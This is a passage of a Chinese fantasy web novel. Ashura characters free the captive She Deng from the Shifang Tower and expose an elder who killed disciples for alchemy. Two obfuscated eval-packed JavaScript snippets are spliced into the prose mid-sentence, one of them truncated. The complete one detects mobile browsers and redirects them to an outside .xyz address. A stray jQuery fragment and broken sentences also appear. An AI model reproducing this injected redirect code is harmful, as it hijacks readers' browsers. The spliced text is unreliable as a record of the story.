宿凌薇蹙眉,“哪个冤大头如此倒霉,不会是那个小童的父亲吧,凭他一身戾气不能将十方楼闯荡个来回吗?还是说只是一个小修罗?” 雾沅摇了摇头,“我并不知晓,那层气息复杂,我很难分辨。” 姜芜勾唇,“既然如此,我们今晚便去见见那位修罗。” 雾沅问道:“如何去见?” 【并州】 一行人来到了常胜的村落,商扶庭看着原本热闹繁华的小村落,变得现下这般狼藉不堪,到处都是倾倒的房租与干涸的血迹,还有成片的土丘,一片怆然凄清之意油然而生。 常莹看着四周的土丘,神情悲伤地叹了口气,抬手擦去了眼角的湿意,“没想到常胜大哥居然……” 逸清道尊双手掐诀,撑了法阵探索整个村落。 沈确伸手扯了扯商扶庭的衣袖,低声道:“师兄,这里发生的一切真的同圣人的预言有关吗?宗华他又有什么错,不过只是出生在了这世间……” 商扶庭眼神一凛,他不动声色地摇了摇头,示意沈确不要在此提起宗华的身世。 梅华道尊闻言看向沈确,“各种预言?” 沈确绞着手指,抿唇看向梅华道尊。 常平说:“小姑娘或许只是顺耳一听,并不清楚预言之事,当年圣人以天书赐福我们,让长灵女子不再遭遇生育耗尽性命之苦,保障了我们长灵一族的繁衍生息,人人都能享受天伦之乐,但是留下一则预言,说是混淆长灵血脉者会给长灵一族带来灭顶之灾。” 梅华道尊蹙眉,这是她并不知晓的一件事,段怀野当初收留了她,有时回来教她认字读书,有时是引气入体,有时带回来几个小脏孩说是师弟师妹,有时又是拔剑挥剑,与她见面的坐下来听她说说现状的情况少之又少。 所以,梅华道尊其实非常不了解她的师尊段怀野,甚至不知晓他的喜好。 梅华道尊问道:“近些年可有此事发生?” 常平看了看常莹,又看了一眼常州,最终无奈地叹了一息,“晓芙当年也是糊涂,同鬼王陌离交好,但是我大哥在知晓她有孕之后,为了村子的安宁便让她离开了村落,不许她此生再踏进村落一步。” 商扶庭问道:“从此她再也未回来过吗?” 常莹神情哀伤地点了点头,“不过听大哥说晓芙已经去世了。” 常州说:“先不要感叹那些了,现下最重要的是先找到法器,六只寰空铃缺一不可。” 沈确四下扫视一番,心中突然多了个不寒而栗的想法,她抬眸看向众人,开口道:“会不会是百衢借预言之名,目的只是为了前来屠村夺法器?” 常静颔首,“不无道理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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日暮西垂,群鹜归巢,星月闪烁。 姜芜放下手中的酒杯,起身整了整身上的衣服,“薇薇,吃饱了吗?” 宿凌薇放下手中的酒杯,起身抻了个懒腰,“走吧,去看看是哪个倒霉蛋儿的。” 两人化作戾气,一前一后从窗口飞了出去,隐匿身形来到四角楼外,两人互看一眼,随即飞入楼内。 十方楼的四位长老同其道童正在议事,两人索性躲在了书架之后。 姜芜贴身靠在书架上,宿凌薇则从她身前探身往前看去。 一层烛火昏黄,几个白发苍苍的老者围坐于四方桌前。 司寇珺合眼端着一杯热茶,听着其他三位长老的七嘴八舌。 二长老魏平良说:“那人真说诅咒是那修罗的所作所为?既然如此,我们为何不处决了他?以绝后患,免得诅咒沾染到我们身上来。” 三长老辛苇甘说:“二长老莫急,我们要谨慎为妙,修罗如此强大,若是杀了他,诅咒依旧未解,怕是要十方楼再无宁日,要从长计议才是,莫要因为一时的解恨而让自己毫无退路。” 四张老重泽中说:“前几日前往冀州送药的道童回来了,圣人殡天,雍王朱英叡也被发现死在自家的地宫之中。新皇登基,年轻力壮,未必还需要十方楼提供的延年益寿的丹药,即便他也追求长生不老之术也是几十年之后的事情,眼下未必留存丹道,即便不留,估计也不复从前。丹道不留,若只是打压,于我们而已无非退出便罢,怕只怕他们为了一些秘辛,将我们斩草除根。” 魏平良挥手,“命都快没了,还在乎皇家的事情作何?而且我们毕竟是修士,还怕他们区区凡人不成?” 重泽中说:“二长老此言差矣,最需要天材地宝的除了我们十方楼便是荆州的萧家,但荆州萧家远在天南海北,不受皇室掌控,圣人同我们有契约,每年向我们提供国库三分之一的珍贵药材用于炼丹。我们是修士不差,但是皇室这块肥肉,你舍得松口?再者我们毕竟是丹修,比不得南斗与北斗,不要忘记除妖司!” 魏平良闻言一愣,想起冀州皇室每年提供的药材,又想起南斗与北斗十三位除妖司法师,随即重重地叹了一口气。 司寇珺伸手拍了拍桌面,“新皇登基,首先要巩固自己的皇位,更迭自己的势力,组建属于自己的朝堂,一时半刻估计无暇顾忌我们,再者便如同二长老所言,我们毕竟是修士,即便是他对我们有心,怕也只是派法师和谈为主,伤和气这种事情,估计新皇是不会做的。当下,最主要的是解决诅咒一事。” 辛苇甘提议道:“不如我们同那修罗谈谈吧,毕竟当初他是为了谷卿云自愿被俘虏,并不知晓自己还有一个孩儿在世,我们以这个为要挟换取他解除诅咒如何?” 司寇珺略略思索了片刻,随即偏头问一旁候着的谭言,“尊者今夜去了何处?” 谭言回道:“她说初来乍到,想带友人体会一番青州风物,也带着侄女出去散散心。” 司寇珺恍然大悟,“还不曾回来吗?” 谭言摇头,“不曾。” 重泽中神色大惊,“不会是见诅咒难解,跑了吧?” “修罗诅咒确实难解,她能找到源头,也算是帮了我们大忙。而且不要做同修罗求和这种事,他之所以还在这里,是因为知道谷卿云在这里,若是他知晓谷卿云死了,怕是要比冀州皇室还要先一步灭我们十方楼。”司寇珺说,“今日先这样吧,天色不早了,大家先回去休息吧。” 魏平良问道:“那诅咒之事该如何是好?” 77. 地宫 司寇珺在谭言的搀扶下起身,闻言脚步一顿,眼神扫了一眼魏平良,随即深深地吸了一口气,“明日告诉厍灯,就说谷卿云也中了诅咒之术,让他解除诅咒,我不信他还无动于衷,休息去吧,都休息去吧。” 宿凌薇听到厍灯的名字,抬眸有些担忧地看了一眼姜芜。 司寇珺颤颤巍巍地顺着楼梯向上走去,“这个厍灯也真是的,真不怕谷卿云也中诅咒吗?” 其余几位长老在道童的搀扶之下也各自离开。 宿凌薇轻声说:“应该是搞错了,或者是同名的修罗,未必是厍灯的......哎,濯濯!别冲动!” 姜芜迅速从书架之后闪身而出,她立于阴阳鱼中心的位置,双眸细细地扫过整个一层,随即抬掌打向机关处,阴阳鱼的中心立刻分开。 姜芜顺势而下,宿凌薇见状紧随其后。 阴阳鱼缓缓合上,大雾弥漫至地宫的每一个角落。 姜芜同宿凌薇贴身而站,两人不约而同地抬手遮住口鼻。 宿凌薇说:“当心一些,这里恐怕有蹊跷。” 姜芜振臂释放出戾气驱散面前的大雾,“是八卦阵,阿灯若不是在初始位便是在结束位,若是走错可能会迷失方位。”说完,她从纳袋中取出一卷羊皮,面色凝重地看着上面的内容。 宿凌薇探头看了一眼,有些无奈地拍了拍额头,“都什么时候了,你还要看这个?” 姜芜目不转睛地盯着羊皮上的八卦图,“我确实看不太懂八卦,所以只能恶补一下。救阿灯很急,但是时辰还算宽裕,我们也不会中毒,或者出现其他异状,所以先让我看一下如何解。” 宿凌薇看着羊皮卷上密密麻麻的字迹,只觉得双眸发晕,“也没有听蝶妖说这里有阵法啊。” 姜芜心不在焉地应了一声,“怕是机关的按钮之上需要十方楼的特质的令牌之类,我方才贸然闯入确实有些冲动了。” 宿凌薇席地而坐,她撑着下颌半躺了下来,“冲动便冲动吧,哪里有时间去盗一个令牌,谁知晓哪个令牌有用,直接杀过去才是正解。” 姜芜收起羊皮卷,用戾气将面前浓重的白雾推开,“跟上。”说完,她纵身一跃,落身于她认为的艮位之上。 “哪里呢?” 宿凌薇看着重新合起来了浓雾,不禁有些懊恼自己的掉以轻心。 一条长鞭从浓雾之中甩出,缠上宿凌薇的腰肢,将她扯至了姜芜身侧。 姜芜伸手接住宿凌薇,“当心一些。” 宿凌薇扶住姜芜的肩膀,稳住身形,“好险,现下我们该往哪里走?” “天道左旋,地道右旋,数往者顺,知来者逆。”说完,姜芜信手向上一弹,一簇戾气如同入湖之水,溅起一圈圈涟漪,浩瀚星空侵蚀着白石吊顶,恍若整个四角楼凭空消失,而她们从闭塞狭窄的地阁来到了旷野之中。 姜芜抬眸看着月亮与星辰的走向分布,“坎一,艮八,震三,巽四,离九,右旋;乾六,兑七,坤二左旋,记清楚了吗?” 宿凌薇听得一头雾水,“什么什么?” 姜芜闻言看了宿凌薇一眼,确定脚下是艮位,她抬手将长鞭甩到了坎位,“跟着我的指示走。” 宿凌薇颔首,纵身飞向了坎位,随即扯住长鞭把姜芜拉了过来。 “小心一些。” 姜芜话音刚落,大水倾盆而下将两人浇了个透彻。 宿凌薇伸手摸了一把脸上的水,“现下呢?该往那边走?” “阿灯不在初始位,那便在结束位了。”姜芜说,“现下所体会的,未必都是真实的,虚假偏多。坤位,当心飞沙走石。” 宿凌薇愤愤地说:“刚淋完雨现下又要糊我一身土?我一定拆了这个破玩意!” “那便快一些,记得跟上我。”说完,姜芜便迅速往坤位飞去,她脚在坤位的石柱上一点,尘土未起便立旋身前往震位。 “濯濯,你可别小看我!” 宿凌薇立刻追了上去,两人相互配合,游刃有余地穿梭于八卦阵之中。 最终落身于离位上,四周白雾瞬间消散,姜芜挥手点灯,看到了被锁链捆住了厍灯。 宿凌薇看着四周消散得一干二净的白雾,眉心一拢,“原来方才都是幻境吗?” 姜芜看着满身血污的厍灯,眉心紧拢,心如刀绞,她缓步上前跪坐于他的面前,用戾气修复着他身上大大小小、数不尽的伤口,以及黑荆藤留下的溃烂。 “阿灯?” 姜芜伸手拨开厍灯脸上的乱发,哑声唤道:“阿灯,姐姐来了。” 厍灯长睫微颤,缓缓地睁开了双眸,他眯着双眸仔细辨认了片刻面前熟悉的女人,随即皱起了脸,他像一个小孩子一般将头探进姜芜的怀中,泣声道:“姐姐,人间一点都不好玩。” 姜芜倏地红了眼眶,她抱紧了怀中的厍灯,“阿灯,姐姐带你出去。” 厍灯闻言倏地抬起了头,他神情惊恐地摇了摇头,“不不不,我不出去,只有我在这里,他们才不会对卿云怎么样。” 姜芜蹙眉,她看着厍灯的模样,心中一片苦涩。 宿凌薇轻声开口,“厍灯,你怕是还不知晓吧,谷卿云已经死了,但是她还生下了你们的孩子,你做父亲了,你知不知晓?那个孩子叫长生,我同濯濯见过的,很可爱的……” 厍灯难以置信地看着宿凌薇,颤声道:“卿云?卿云……她……死了?” 宿凌薇说:“你不知晓吗?我还以为你知晓呢,否则为何要施展血刹术?不怕降临到谷卿云身上吗?” 厍灯蹙眉,大吼道:“什么血刹术?不是我!卿云在这里,我怎么可能会施展诅咒?” 宿凌薇摆了摆手,“先别谈这个,你同谷卿云是怎么回事啊?你是何时离开无幻之境的?” 厍灯闻言抬眸看向了姜芜,紧紧地抿起了双唇,一副不打算开口的模样。 姜芜面色严峻地看着厍灯,“厍灯,你是怎么跟我出来的?无幻之境的结界是不是你打破的?你没有带谷卿云逃离十方楼的掌控,身上的伤口也没有愈合,是不是因为打破结界的时候出了问题?” 厍灯闻言缩起了身体,低垂着双眸不敢去看姜芜的眼睛。 宿凌薇闻言快步上前抓住了厍灯被锁链捆住的手臂,却得到了他剧烈的挣扎。 “放开我!放开我!”厍灯放声哭喊了起来,“姐姐,杀了他们!我要杀了他们!替卿云报仇!!!” “阿灯,你冷静一下。”姜芜拍着厍灯的肩背,轻声安慰着,“姐姐,先带你离开这里。” 厍灯泪眼婆娑地点了点头,“姐姐,我跟你走。” 姜芜抬手斩断了束缚着厍灯的锁链,从纳袋中取了一件大氅披在了他的身上,随即三人便离开了十方楼。 雾沅见宿凌薇推门而入,立刻起身问道:“回来了,一切可还顺利?” 宿凌薇点了点头,“我们把厍灯带回来了,濯濯带他先去洗漱干净再过来同我们汇合。” 寂满问道:“所以……诅咒之事是不是他搞出来的?” 宿凌薇抿着双唇摇了摇头,“厍灯说不是,毕竟濯濯在面前,他应该不会说谎。” 寂满将剥好的瓜子放进了常奉眠的手中,“这个厍灯同姜芜什么关系啊,不能同睢羲一样,是个麻烦事吧?” “自然不是。”宿凌薇坐至桌前,伸手为自己倒了一杯温茶,“厍灯是濯濯的弟弟,究竟是半路捡来的还是有血缘关系的,这我就不清楚了。” 寂满笑了一声,随口调侃道:“亲弟弟也好,捡来的弟弟也罢,总归是个男的吧,他们关系那么好,相处起来,睢羲愿意啊?” 宿凌薇挑眉,“小蛟龙,我总觉得你对睢羲有什么误解,或者是对濯濯和睢羲之间的感情有误解。” 寂满搓着下巴,一脸戏谑地,“不是吧,段怀野不就是睢羲杀死的吗?他同姜芜关系不是挺好吗?睢羲杀段怀野无论是因为他封印无幻之境,还是其他的,总归有些私情在其中吧。” 宿凌薇无奈地摇了摇头,“你还是太不了解睢羲了。” 姜芜用象牙梳通着厍灯的墨发,简单地挽了一个发髻,她从纳袋中取出一个瓷瓶,将一颗丹药递到了厍灯的面前,“对你的身子有好处。” 厍灯垂眸看向那颗丹药,随手伸手拿起塞进了口中,“姐姐,卿云真的死了吗?” 姜芜双手搭在厍灯的肩膀上,不言不语地通过桌上的铜镜看着他,“阿灯,你告诉我,你当初是如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570113|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从无幻之境内出来的?” 厍灯说:“姐姐,这件事情你还要问我吗?当初你捉我回去的时候,我不是已经告诉过你吗?我并不清楚,我倒是很想知晓,你为何能自由出入无幻之境?” 姜芜面无表情地说:“一百多年前,你尾随我离开了无幻之境,看着我失控杀了步寒夜,劫走了谷卿云。我花了几年的时间才找到你,将你带回无幻之境,从那之后你便一直同谷卿云有联系,直到十年前你耗尽全身的戾气,将无幻之境的结界打开一道裂痕,从其中逃了出来,找到她,五年后却被十方楼的人发现,将你们二人带回去,自此你便一直被囚禁于地下,是这样吗?” 厍灯将头垂得更低了,“姐姐,对不起,我实在是太想她了。” 姜芜问道:“你为何要同我讲对不起?” 厍灯转身面对着姜芜,伸手抱紧了她的腰,“我没有听姐姐的话,没有待在无幻之境,也没有好好的爱惜自己,更没有保护好她,我辜负了姐姐对我的期待。” “我对你没有期待,我只是希望你能好好地活下去。”姜芜抚摸着厍灯的头发,“凡人百年,修士不过是多了那么几百年而已,对于我们修罗而言,不过弹指之间,我当初带你回无幻之境,不过是希望你能好好修行,养好身体,我以为你会很快便忘了她。要说对不起,也该由我来说,是我低估了你们之间的情深,害你们分离如此之久。” 厍灯摇了摇头,“不是姐姐的错,我也不怪姐姐,若不是当初姐姐带我回无幻之境,我怕是会以为修罗在人间也会有极强的自愈能力,那我便早已经死了,根本不会同卿云再重逢。而且也是姐姐告诉我,真心爱慕一个人,便要一心一意地待她,不能三心二意,在无幻之境里的那几年,我也认真思考过这个事情,所以我才去破结界的。姐姐,我不后悔。” 厍灯的目光越发地狠毒,怕姜芜发觉便很快合上了双眸。 姜芜无奈地一笑,垂眸的瞬间发现了厍灯脖颈上的绳结,她用食指勾了出来,这才看清楚了绳结上的坠子。 “姐姐,怎么了?”厍灯顺着姜芜的视线垂眸,看到了绳结上的黑色晶石,随即笑着说,“姐姐,我是不是很听话,当初你给我的坠子,我可是一直带着呢,本来想送给卿云的,但是她不要。” 姜芜捻着那颗黑晶石,“阿灯,知晓这是什么吗?” 厍灯摇了摇头,看着姜芜不苟言笑的模样也跟着收敛了笑容,一本正经地问道:“姐姐,这是什么啊?” 姜芜回道:“女娲娘娘补天用的五彩之石碎片,戴着吧,你可以利用它重新修行,但是不要同别人提起,只当作这是一个普通的挂饰,知晓吗?” 厍灯点了点头,他看着如同指腹般大小的黑色晶石,有些好奇地问道:“这五彩之石也太小了,女娲娘娘当初是如何补天的?我见春神手中的五彩之石都是五颜六色的,根本不是黑色的,姐姐,你不会诓骗我吧?” 姜芜蹙眉,“春神手中是农具和种子,怎么会捧着五彩之石呢?” 厍灯抬眸看向姜芜,绘声绘色地讲述,“姐姐还不知晓吧,这也是卿云同我讲的,女娲庙中东庙之前供奉得并非春神句芒,而是一位女神仙,卿云同我讲那也是春神,后续不再供奉了才换成了句芒的,春神娘娘的神像便移动到了西庙中,不再受人供奉,而她手中捧着的便是五彩之石。” 姜芜问道:“是吗?此事我并不知晓,她与五彩之石有何干系?” 厍灯摇了摇头,“我也不知晓,卿云没说。” 姜芜轻轻地拍了拍厍灯的发顶,“你想去见见我的那些朋友们吗?还是想要休息?” 厍灯不解,“去见他们做何事?” “也没有太重要的事情,无非便是一些关于诅咒的事情。阿灯,姐姐知晓你这五年来的苦,但是卿云的事情,姐姐会帮你解决,你莫要做些无用功,你现下今非昔比,不要因为去寻仇而白白送死,明白吗?”姜芜伸手推开厍灯,“既然你不愿意见他们,便好好地在此休息,等我解决完十方楼的事情,我自然会带长生来见你。” 厍灯神情乖巧地点了点头,在姜芜走出房间后,眼中的光芒逐渐暗淡了下来,恨意滚滚而出。 “姐姐,我已经不是从前的厍灯了。” 78. 欺骗 姜芜理了理衣裳出门,喊小二上了几分甜粥和年糕,这才推门走进了包间内,她看着三人突然停下的交谈声,让小二将东西放在桌上。 “客官,您点的东西已经上齐了,有事您再吩咐。” 姜芜颔首,她坐至桌前取了一份甜汤放在常奉眠手边,“麻烦了,记得关上门。” 寂满往门口看了一眼,“厍灯没来吗?” 姜芜搅着碗中浓稠的甜汤,“事情大致我已经了解了,他太累了,先让他休息吧。”说完,她低头尝了半勺甜汤。 寂满见状搅了搅碗中的甜汤,让常奉眠一手拿着碗,一手拿着勺子,“先吃东西吧,一会该凉了。” 雾沅问道:“若诅咒不是厍灯所为,那还会是谁?” 姜芜放下勺子思忖了片刻,随后才道:“长生。” “什么?”宿凌薇震惊地看向姜芜,“你说那个五岁连路都走不稳的孩子?支撑了五年的血刹术?这也太令人惊讶了。” 姜芜面露苦恼,“否则没有别的解释了,当时我从傅靖川身上取出来的戾气,确实指向四角楼不错,而且雾沅也说过长生就住在四角楼之中,若不是厍灯便只能是长生了。” 雾沅蹙眉,“可是他只是一个五岁的孩子,他又懂什么呢?” “修罗幼崽还是比较罕见的,人族与修罗共同孕育的生命,更是前所未闻。”姜芜夹了一块煎黄米年糕到自己面前的食碟中,“所以,他究竟能发挥多大的戾气,是否能利用灵气修行,这些都未可知。” 宿凌薇震惊地瞪大了双眸,“这么神奇吗?若是修罗同妖族,亦或者是长灵族同妖族,诞生的幼崽会怎样?”说完,她便一脸戏谑地朝寂满挑了一下眉毛。 寂满闻言顿时红了脸,神情有些不自然地偷瞄了一眼常奉眠。 姜芜见状,抬手制止了宿凌薇的揶揄,“不要这样,他们还年轻,而且现下只是寂满的一厢情愿,我们眠眠并没有答应。以后我可是眠眠的长辈,我们眠眠选谁不选谁,都得看她自己的意愿,谁也不能胁迫她,尤其是那些准备挟恩图报之人。”说完,她伸手托住圆凳,将常奉眠拉至了自己身侧。 寂满看着突然空空如也的身侧位置,心中难免有些不愿,梗着脖颈对姜芜说:“谁……谁准备挟恩图报了,反正不是我,你不要污蔑人!不对,你不要污蔑妖!” 姜芜顺着寂满的话应了一声,“那寂满大王是打算口诛笔伐我,还是用您的妖力镇压我,让我对您改观呢?寂满大王?” 寂满愤愤地看着姜芜,牙齿咬得咯咯作响,他只识得妖文,根本不懂修罗或者人族的语言,既无法对姜芜笔伐,也说不过她那张伶牙俐齿的嘴,拼妖力更是拼不过,即便是他现下距离真龙只有一步之遥,但是对上姜芜还是有些天壤之别。 “姜芜!我告诉你!你不要欺妖太甚!你太欺负妖了!即便是你帮我跃了天门!对我有恩!也不能这样!” 常奉眠听着寂满略带颤抖的语气,伸手拉了拉姜芜的袖子。 姜芜垂眸看了常奉眠一眼,随即对寂满说:“瞧你那个傻样。” 常奉眠伸出手沿着桌子朝寂满的方向摸索了片刻,出声安抚道:“寂满,没事的,濯漪没有恶意的。” 寂满见状也只是伸手摸了摸常奉眠的指尖,轻声低估道:“眠眠,你真好。” 雾沅说:“好了,不要闹了,谈些正事吧,后续你们打算如何做?我们能否在这里找到五彩之石?” 姜芜听到雾沅提到了五彩之石,眉毛轻轻一挑,“世间有关于五彩之石最后的记载便是女娲补天之时,此后并没有详细记载,之所以传言五彩之石出现在无幻之境,那是因为没有修士能在无幻之境自由来去,所以才会有此传闻。若是五彩之石真在青州,怕是会引起轩然大波。所以,这里并不能找到五彩之石。” 雾沅刚要开口,先是有所顾虑地看着了宿凌薇一眼,随后才委婉开口,“那岂不是找不到五彩之石?那后续该如何,你同五行道宗签订的血契又该如何解?” 姜芜喝了杯热茶冲淡了口中的甜滋味,“我自有我的办法。” 宿凌薇见姜芜一副不想再深弹的模样,及时在雾沅开口前插嘴,“比起这些,如果血刹术真的是长生所为,我更好奇是谁教给他的?莫非还有其他的修罗吗?” “怎么?”雾沅问道,“血刹术的施展很复杂吗?” 宿凌薇颔首,“要在每月上弦月之夜,以自身的血液为媒介,用戾气催动咒术设置布下,可随意选择中咒者,也可以随机。” 寂满说:“上弦月之夜?今晚不就是吗?一个五岁的孩子真的能做得了这些吗?” 姜芜轻轻地敲击了几下桌面,随即迅速起身向外走去。 “怎么了?发生何事了?” 宿凌薇见迅速追着姜芜离开了包间,一同来到三楼厍灯的房间门口,她看了一眼空空如也的房间,又看向站在门口的姜芜,轻声安慰道:“或许厍灯有事出去了,不一定是回十方楼了。” “他骗我。”说完,姜芜直接化作一道戾气朝着十方楼飞去。 雾沅这时才同寂满赶了过来。 “发生何事了?你们怎么走得这么急?” 宿凌薇随口道:“厍灯估计去寻仇了,濯濯已经去阻止他了,你们怎么出来了?让眠眠一个人在房间里可以吗?” 雾沅神情凝重地对寂满说:“你回去陪着奉眠,我同宿姑娘前去十方楼。” 寂满一头雾水地看着两人先后离开,忍不住追问道:“喂,到底怎么回事啊?危险不危险啊?需不需要我帮忙啊?” 姜芜到达十方楼时,四处已经处于一片混乱之中,几名弟子倒在血泊之中生死不明,厍灯一身血污站在十方楼弟子围成的法阵之中,手中持着一柄豁口断剑,双眸猩红地看着被弟子所簇拥在中间的司寇珺。 “阿灯!” 厍灯一片木然地看着司寇珺,恍若没有听到姜芜的呼唤,他抬手遥遥指着司寇珺,大喊道:“司寇珺,今日十方楼所有的弟子都齐聚于此,你敢不敢告诉他们,谷卿云到底是如何死的?” 司寇珺回道:“这种事情还需要说吗?你凌辱了十方楼的女弟子谷卿云,害她被迫受孕,谁知修罗杂种如此顽固,堕胎药根本不能奈他如何!以至于伤了身子的根基!是你!是你这个修罗!杀死了她!” 谭言闻言倏地看向姜芜,“原来你们认识?!” 厍灯冷笑一声,他挥手弹出一道戾气打向姜芜,“谁要认识你们这种肮脏的人族修士。” 姜芜不防备,随即被戾气拂倒在地。 宿凌薇迅速赶来,见状立刻上前把姜芜扶了起来,心中怒火烈烈,正准备上前同厍灯理论,却被姜芜按住了手。 “濯濯,你做何事?我今日便替你教训教训这个白眼狼!” 姜芜摇了摇头,神情担忧地看向厍灯,“阿灯只是在同我们撇清关系,他想自己的承担。” “你们一个两个的,我们为何要怕他们。”宿凌薇推开姜芜的手,“不就是一个人族门派吗?杀穿他们不是易如反掌?为何要顾忌那么多?!” 厍灯扬声道:“小老儿!我再给你一次机会,你一五一十地说出谷卿云死亡的真正原因,我便饶了你这群弟子。” “你不过是强弩之末,居然还敢在这大放厥词!”司寇珺气盛,神情激动地指着厍灯,“今日我十方楼除去你这个修罗,也算是功德一件!” 司寇珺一声令下,四周的十方楼弟子举着法器蜂拥而上。 姜芜面色一紧,唤出无心乱,飞身跃至了司寇珺身后的四角楼之上,她甩出长鞭卷起厍灯带着自己的身侧,“这一切究竟是怎么回事?阿灯,不要再骗我!” 厍灯闻言一愣,他抬眸有些愧疚地看向姜芜,声线颤抖,“这是我自己的事情,不要因此牵扯进来,给你惹上麻烦。” 姜芜厉声道:“厍灯,我是你姐姐,任何情况下,你都不用撇清同我的关系。” 厍灯嘴角浮现出一丝笑意,随即垂眸看向下方的司寇珺,满目恨意,“姐姐,此事与你无关,我今日必定同这伪君子同归于尽,替卿云报仇。” 姜芜抬手按住厍灯的肩膀,双眸赤红地盯着他,“你为何不听我的话,我说过我有办法帮你,不需你前来送死,为何不信我?为何都不信我?” 厍灯伸手指向司寇珺,出声斥责道:“这个败类,他.......为了逼迫卿云打掉孩子,日日给她灌不同的堕胎药,药效一次比一次重,简直将卿云当作了一个试药人!卿云为了生下孩子,拼了个修为尽散,连命都没有保住,此等毫无人道之事,这等丧尽天良的无耻之徒,还妄图长生,他配吗?!他配当人吗?连畜牲都不如!口口声声说这卿云是他的爱徒。” 姜芜伸手捉住厍灯的衣襟,厉声道:“就算如此,你也不应该教一个五岁的孩子施展血刹术,那是卿云拼命为你留下的孩子,是留给你的念想,她完全可以放弃那个孩子保住自己,虽然我不知晓她为何这么做,但是那个孩子五岁了还那般瘦小,连走路都不稳当,有你这么做父亲的吗?!”说完,她挥动无心乱卷上了司寇珺的脖颈,直接将他提至半空。 司寇珺顿时大惊失色,双手颤颤巍巍地攥住脖颈上随时都能要他命的长鞭。 姜芜缓缓地站起了身,她立于四角楼的飞翘的角檐上,面无表情地看着司寇珺,“你还有什么话想说吗?” 谭言大喊,“一派胡言,你们居然轻信一个修罗的话!快放开大长老!” 司寇珺感受着脖颈上越收越紧的长鞭,声音嘶哑道:“谷卿云这个水性杨花的女人,她是我徒儿生前的女人,居然不为我徒儿守节,随随便便为一个人尽可诛的修罗生孩子,她罪加一等!她该死!!!我找了她这么多年,就为了抓她回来给我的徒儿做鬼妻,谁知她竟然失了贞洁!该死!真该死!” 厍灯发指眦裂地大喊,“不许你侮辱卿云!我是人尽可诛的修罗!他步寒夜又是什么好人?!诱骗卿云的伪君子罢了!你这些年做得草菅人命的事情还少吗?为了亲近冀州皇室,用楼外弟子来炼制丹药,你以为血刹术会死很多人吗?一月也只有一个而已,这些年你在血刹术的掩盖下,杀了多少楼外弟子只有你自己知晓!” 十方楼的弟子闻言顿时议论纷纷。 谭言神情慌张地四下看了看,迅速往一旁跑去。 姜芜看着楼下十方楼众人,“阿灯,只要司寇珺死吗?” 厍灯闻言看向姜芜,上弦月在她身后升起,月光莹白,落在她姣好的脸上,周身戾气隐隐浮现,十足的一副毁天灭地杀神模样。 厍灯点了点头,眼神坚定,“我只要司寇珺死。” 宿凌薇抬眸看向雾沅,“之前你们还联合起来谴责我们修罗只生不养,杀老修罗,现下你看看他们人族,做得事情可比我们修罗穷凶极恶多了。 “你懂什么?!”司寇珺双颊爆红,大声斥责道,“为丹道牺牲是他们的荣幸!古往今来,哪一次进步与发展不是伴随着鲜血?你们怎么知晓我炼制不出长生不老药?凭什么长生只能存在于妖族和修罗族身上,凭什么人族不能得到永生!不能万古长青!?区区几个人而已!人族最不缺的便是人!一代一代,没有天资者本身便毫无用处,为丹道牺牲能让他们如蝼蚁般的生命最大化!他们应该以此为荣!丹道会记得他们的牺牲!他们的牺牲与流血都是值得的!” 姜芜垂眸看着司寇珺,脸色越发得冰冷,“你不是一直想知晓杀你乖徒儿的修罗是谁吗?” 司寇珺闻言睁大了双眸,当年的记忆纷至沓来,他神情大惊地指着姜芜和厍灯,“你们......居然是你们.....” “修罗,我们一命换一命!” 谭言将长生掳于身前,锋利的匕首抵在他皮肤稚嫩的脖颈上。 长生还未反应过来,神情空白地看着面前的一切。 “长生呀......长生......”乳娘哭诉地跑上前,矮身伏于谭言身侧,“谭仙长,长生只是一个孩子,他什么都不知晓, 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谭言见状立刻接住司寇珺,“大长老,您无事吧?”说完,他抬眸看了姜芜一眼,将长生扔了过去。 司寇珺喘着粗气,抖着手说:“杀......杀了她!当初便是她杀了寒夜!!!” 姜芜立刻抱着长生飞身后撤到四角楼上,随即甩出无心乱洞穿了司寇珺的心脏。 谭言看着司寇珺身前的血窟窿,顿时大惊失色,“你!你不守信用!” 姜芜反手将长生推给了厍灯,将司寇珺的身体扔在他的脚边,“留了一口气给你,想怎么样都可以。”说,她便飞身向下,口中高呼着丹道永存。 宿凌薇看着突然混乱起来的场面,焦急地说:“这......这是怎么了?为何这般突然,我们......我们该帮姜芜吗?” 雾沅神情凝重地说:“制止姜芜!” 无心乱在姜芜的掌控中扫荡着十方楼的弟子,惨叫声此起彼伏。 傅靖川躲开无心乱锋利的鞭梢,神情不解地看着姜芜,不知晓事情为何在突然之间变得如此焦灼。 厍灯直接将司寇珺开膛破肚,将他七零八碎的尸体挂在了四角楼的角檐上。 “远舟躲开!” 傅靖川见那条乱舞的长鞭逼向江远舟的后心,立刻扑上前将他推开,鞭梢直接刺穿了他的手臂。 姜芜见状立刻停了下来,她静静地看着捂着手臂的傅靖川,四周是欲上前制止却不敢上前的十方楼弟子。 傅靖川丝毫不惧地回望着姜芜,他看着姜芜的双眸,那种奇怪的感觉重新占据他的心头,姜芜同他素未谋面,但似乎认识他很久,又似乎是在透过他看别人。 傅靖川欲言又止,他想要开口说些什么,但是转念一想,他却连姜芜叫什么名字都不知晓,只能悻悻地合上了唇。 姜芜转身看着聚集在一处的十方楼弟子,歪头看着躲在人群中的其余三位长老,面容充满邪性,“位高权重,有能力者便可以滥杀无辜,视生命如粪土、草芥,是这样吗?把这些都拿去炼丹吧,也省得你们杀人了,罪孽都让我来承担吧。”说完,她收起了无心乱,转身向十方楼外走去,眨眼之间便到了十里之外。 宿凌薇快步追了上去,“濯濯呀,方才怎么回事啊?吓死我了。” 姜芜停下了脚步,掐诀引水清洗了一番自己手上的血迹,声音清冷,“放心,我也是吓唬他们的,没有真的杀人。” 